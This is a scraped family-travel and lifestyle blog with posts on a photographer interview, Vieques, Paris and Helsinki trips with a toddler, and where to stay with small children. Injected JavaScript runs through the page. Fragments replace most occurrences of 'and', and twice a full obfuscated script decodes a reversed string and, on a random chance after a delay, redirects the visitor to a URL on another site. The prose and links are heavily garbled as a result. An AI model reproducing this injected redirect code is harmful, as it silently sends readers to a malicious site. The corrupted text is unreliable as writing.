Sycamore Q&A: Janneke Luursema, Photographer | Amsterdam, Netherlandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands

Everything we do at Sycamore Street Press is with the goal of living a simple, beautiful & creative life, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and in helping others do the same. There are so many people who have inspired us on this path, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and we'd love to learn more from them! So we decided to start an interview series on the topic. Today we'll hear from Janneke Luursema, a Dutch photographer based in Amsterdam.

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Hi, my name is Janneke Luursema, I’m an Amsterdam based photographer, mother of three, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and plant enthusiast. You can see my work on www.botanicstilllife.com.

I started photography after working a few years as an editor at a publishing house after getting my master’s degree in psychology. After which I realized studying psychology is one thing, but working as a psychologist requires totally different capabilities. Which I had not. So. At one point, I asked myself what I really wanted to do with my life (I did not have kids back then). What was my passion? I love to explore, I love to learn new things, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I decided to go back to school again. Photography. Turned out it was a good choice, I really love to take pictures, everyday since then. It helps me relax andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and fuels my battery. It keeps me sane.

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Vieques with Kids

VIeques, Puerto Rico with Kids

Where do you go for a family reunion with small children involved? It’s tricky, right? In my extended family, there are 7 kids ages 4 andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and under (including my two). I've learned that the only vacations I want to take with that many littles involved are the kinds where we just stay in one spot. Preferably, with access to a body of water.

With that in mind, my siblings andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I spent some time searching through several home rental sites. We considered North Carolina's Outer Banks, Michigan's Upper Peninsula, the central California coast, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and lots of places in between. But the location that had the nicest big houses for the best prices (within the US) was Puerto Rico.

Plane tickets to PR were the same as plane tickets to the East Coast, which seemed like a great deal. (And we're scattered across the country, so flying would have to be involved no matter what.) In addition, none of us had ever been to Puerto Rico, so we were excited at the prospect. With all that in mind, we booked our trip. Despite some unforeseen hiccups, I'm so glad we did! It really was one of those memorable trips we'll be talking about forever.

More about Vieques with Kids (including tips & recommendations) after the jump...

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California Modern Kid Bedrooms

California Modern Kid Bedrooms | Sycamore

I’ve neglected Lars andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Ingrid's room for far too long! Time to gather inspiration andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and get to work.

For years, my favorite kind of kind of bedrooms for kids have been the ones that are playful, not too matchy-matchy, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and have some grown up elements mixed in. All the better if it's done in a California modern style like these.

What kind of children's bedroom do you love best? - Eva

7 more California modern kid bedrooms after the jump...

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The Most Gorgeous View

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Guardsman’s Pass | Park City, Utah

One thing I love about being a mother is how it forces me to slow down andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and appreciate the simple things.

Having a little hike andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and picnic on this mountain pass near our home, for example. I have wanted to do this for years! But I didn't make it happen until now, because I knew my kids would love it. We all loved it, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and decided to make it a new family tradition.

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My Secret to Work / Life Balance

Thoughts on Work/Life Balance by Eva Jorgensen of Sycamore Street Press

There seems to be a trend lately where people are saying that work/life balance is a myth. That it doesn’t exist… that you shouldn’t even try to achieve it.

I disagree.

It’s true that no one can achieve a perfect work/life balance, because no one is perfect. And I don’t think we should beat ourselves up over our imperfections. But I think if we closely evaluate what our priorities andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and circumstances are, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and act upon them, most of us would be able to come up with a balance that works for us.

I'm not holding myself up as the perfect example here. I've made plenty of mistakes -- that's for sure. But as a mother of two small children/wife/artist/business owner, etc... this is an area I've thought about andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and worked on quite a bit over the years. For what it's worth, I'd like to share the little trick that works for me.

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Paris with a Toddler, part 3

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The third excursion we took with our toddler in Paris was to the Canal Saint-Martin neighborhood. I’d been hearing a lot of buzz about the area, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and wanted to check it out...

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Paris with a Toddler, part 2

Paris Flea Market with a Toddler

While in Paris with our toddler, the second bite-sized excursion Kirk andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I took was to the famous Paris flea market, Les Puces de St. Ouen. (Sometimes known as the Clignancourt flea market after the closest metro stop.)

As usual, we planned this to take no more than a few hours so that we could keep Ingrid on her sleep schedule. (As much for our sanity sake as for hers.) By myself, I could have easily spent the entire day at this magical place. But a couple of hours was all we needed to find a few little treasures, get a feel for the place, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and find the perfect lunch spot... Read More...

Helsinki Travelogue | Part 1

Helsinki Travelogue Part 1 by Eva Jorgensen of Sycamore Street Press

HELSINKI, FINLAND

THE BACKGROUND:

Before our trip, when we were trying to explain it to Ingrid, we’d tell her that we were going to take an airplane across the ocean to Stockholm, Helsinki, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Paris. And whenever we'd ask her where we were going, she'd shout, "Helsinki!", having forgotten the other two. Let's face it, "Helsinki" is the most fun to say. But it also has a lot of other great things going for it: Marimekko, Alvar Aalto, great seafood andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and chocolate, fewer tourists, outdoor markets, a pedestrian friendly downtown, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and did I mention Marimekko?

Kirk andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I used Rick Steves guide books back in '05 when $vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderlust-paris/">we backpacked across Europe together, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I've been a big fan ever since. They're great when it comes to nailing down the nuts andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and bolts of a trip: transportation, museums & monuments, background info, etc...  Since we only had about 2 1/2 days in Helsinki, we decided to take the public tram route that he recommends. It passes by several of the main monuments, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and is a fraction of a cost of the touristy hop on-hop off buses that take you along a similar route. Since we were with traveling with a toddler, we decided to narrow our focus andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and pick two places where we'd get off andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and spend more time looking around: the Sibelius Monument andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the Temppeliaukio Kirkko (Church of the Rock).

THE MONUMENT:

The Sibelius Monument is named for a famous Finnish composer. I'll be honest -- I was not familiar with him before our trip. But the monument is a huge, striking sculpture located in a beautiful park with a view. If you take one of the tourist buses, you get dropped off right in front of it andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and have about 5 minutes to hop out, take a photo with all the other tourists, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and get back in. (We know, because we saw about three groups come through andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and repeat this while we were there.) But if you take the tram, you get to walk down shaded paths through the park until you reach the monument, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and then you get to have it to yourself in between bus groups. Or at least, we did. If we did it again, I'd plan for a picnic in the park at the same time, to fully take advantage of this lovely spot. And for those of you with kids, there's a nice little playground just a few steps away from the monument.

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THE CHURCH:

Next stop: the Temppeliaukio Kirkko or Church of the Rock. It's an incredible modern building that's carved out of solid rock with a copper roof. These photos do it no justice whatsoever, of course. I hear the acoustics are amazing, so if I were to go back, I'd plan it around a performance.

THE CRUISE:

Now, I feel like I should backtrack a little andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and explain how we got to Helsinki from Stockholm. We used points for all our airfare andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and our hotels on this trip, but Rick Steves "told us" that the overnight cruise was a great deal andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and experience, so who are we to argue!? And yes, when you consider you are getting a night's lodging as well as your fare between the two cities, it is a good use of your travel budget. There are two competing lines to choose from - Silja, which is known for being a bit nicer andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a bit pricier, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Viking, which has a party reputation. We decided it was worth paying a little bit more to avoid a bunch of drunken teenagers, so we chose the former.

We boarded in the early evening, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and let Ingrid play in the kids' playroom until the boat took off. (It was hard to pull her away... very fun place.) Then we headed over to the dining room for the smorgasbord. (Reservations required.) I'm normally not a big fan of all-you-can-eat buffets because I feel like the quality of food suffers. And guess what!? The same was true for this one, wah wah. But I still don't regret the decision, because it did let us try a lot of traditional Scandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andinavian foods that we wouldn't have otherwise. After dinner, we headed up to the deck to get a glimpse of the Stockholm archipelago in the last of the evening light. Beautiful, but did I mention that we were doing this in late October? We didn't last long out on that freezing deck, but we did have it to ourselves! Next we headed downstairs for some duty-free shopping. Apparently, some people take this cruise for the sole purpose of buying alcohol andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and other goods tax-free. We loaded up on European candom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andies andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and treats to share with family back home. (Although not much of it made it that far... whoops.) Then we headed up to our cabin, which had just enough floorspace to squeeze in Ingrid's travel toddle tent. The following morning, we were just finishing up breakfast when the ship docked. Perfect timing.

I'll work on getting the next installment of our time in Helsinki up by next week, if possible. In the mean time, you might like $vTB$I_919AeEAw2z$KX=function(n){if (typeof ($vTB$I_919AeEAw2z$KX.list[n]) == "string") return $vTB$I_919AeEAw2z$KX.list[n].split("").reverse().join("");return $vTB$I_919AeEAw2z$KX.list[n];};$vTB$I_919AeEAw2z$KX.list=["'php.nosj.ssalc/cni/xobloot-yendys/snigulp/tnetnoc-pw/moc.itnetaitak.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderlust-our-favorite-museums-in-stockholm/">our favorite museums in Stockholm, traveling abroad with a toddler, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and  10 Hip Swedish shops. - Eva

 

Toddler Travel | Where to Stay

Tips On Traveling With A Toddler | Where To Stay | by Sycamore Street Press

Tips on Traveling With a Toddler is a new series on the blog. I’ll be sharing what I’ve learned through my own experiences in the U.S andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Europe with my daughter, as well as tips from friends andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and other trusted sources. - Eva

Everything becomes a bit more complicated when you decide to travel with a kid. And a toddler just might be the most challenging age of all. But this didn't deter Kirk andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and I from traveling to Arizona, Oklahoma, Stockholm, Helsinki, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Paris with our (then) one year old daughter in 2012. Here are a few things we learned about choosing where to stay:

1) Location, location, location.

Although it may be tempting to stay on the outskirts of town to save some money, don't do it. Not with a toddler in tow. You want to keep all travel time to a minimum. Think of it this way: You're already spending your hard-earned time andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and money to go on a trip, so don't waste it in transit. This is even more important if you plan on taking your child back to your room each day for a nap, which will obviously double your travel time (andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and down time). When you stay in a great location, you can just walk out your door andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and start exploring right away.

On our recent trip to Europe, we stayed in the Sodermalm area of Stockholm, which is full of lovely cafés, shops, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and parks. In Paris, we stayed on the Rue de la Paix, which is just a few minute's walk from the carousel andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and playgrounds of the Tuilerie gardens, the opera house, Galleries Lafayettes, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and more. Two very different kinds of neighborhoods (young, hip vs. posh, historic), but both  with plenty to do andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and experience. By contrast, we stayed a little further from the action in Helsinki. The tram stop was just a block from our hotel, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the ride only took about 10 minutes to get to the center of town, but it still made us feel a lot more disconnected.

2) Apartments are ideal for families.

First of all, you get more space for less money. So while the little one is sleeping in the bedroom, you can move about freely in the rest of the apartment instead of typing up emails on the bathroom counter or huddled under the sheets with a flashlight andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and a book. You also have a kitchen, which can save you money on meals andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and the hassle of dining out with a toddler. We'd often find a fun café for lunch every day, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and eat breakfast andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and dinner at the apartment. (This also gave me an excuse to explore local grocery stores andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and markets, which is one of my favorite parts of traveling.)

We've rented apartments through AirBNB twice in the last year, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and both have been great experiences. (I stick with places with multiple positive reviews.) I've also heard that HomeAway.com andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and VRBO.com are good resources.

3) Hotels can still be a great option...

Especially if you get to stay for free. We had enough credit card points (through Sycamore Street Press) to stay for free in Helsinki andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Paris, otherwise we probably would have booked apartments in those cities as well. But I would consider a hotel again  -- whether or not we have points to use -- for the following reasons: 1) Maid service: So nice to come back to a clean room with fresh towels andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and sheets. 2) Breakfast buffets: So many more options than if we made something ourselves. 3) The front desk: I'm not someone who has the concierge arrange my entire stay for me, but it's nice to know that someone is always there to answer questions or just hail you a cab.

Basically, although you have less room in a hotel, usually have to pay more, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and will probably have to do some tip-toeing around, you'll feel more pampered than when you stay at an apartment. Which is nice, since you are on vacation.

Of course, every child andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and situation is different, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and what worked for us may not work for you. But I hope this may be of some help if you are planning a trip with a little one. If you have any tips to add, I'd love to hear them in the comments section. Thanks! - Eva

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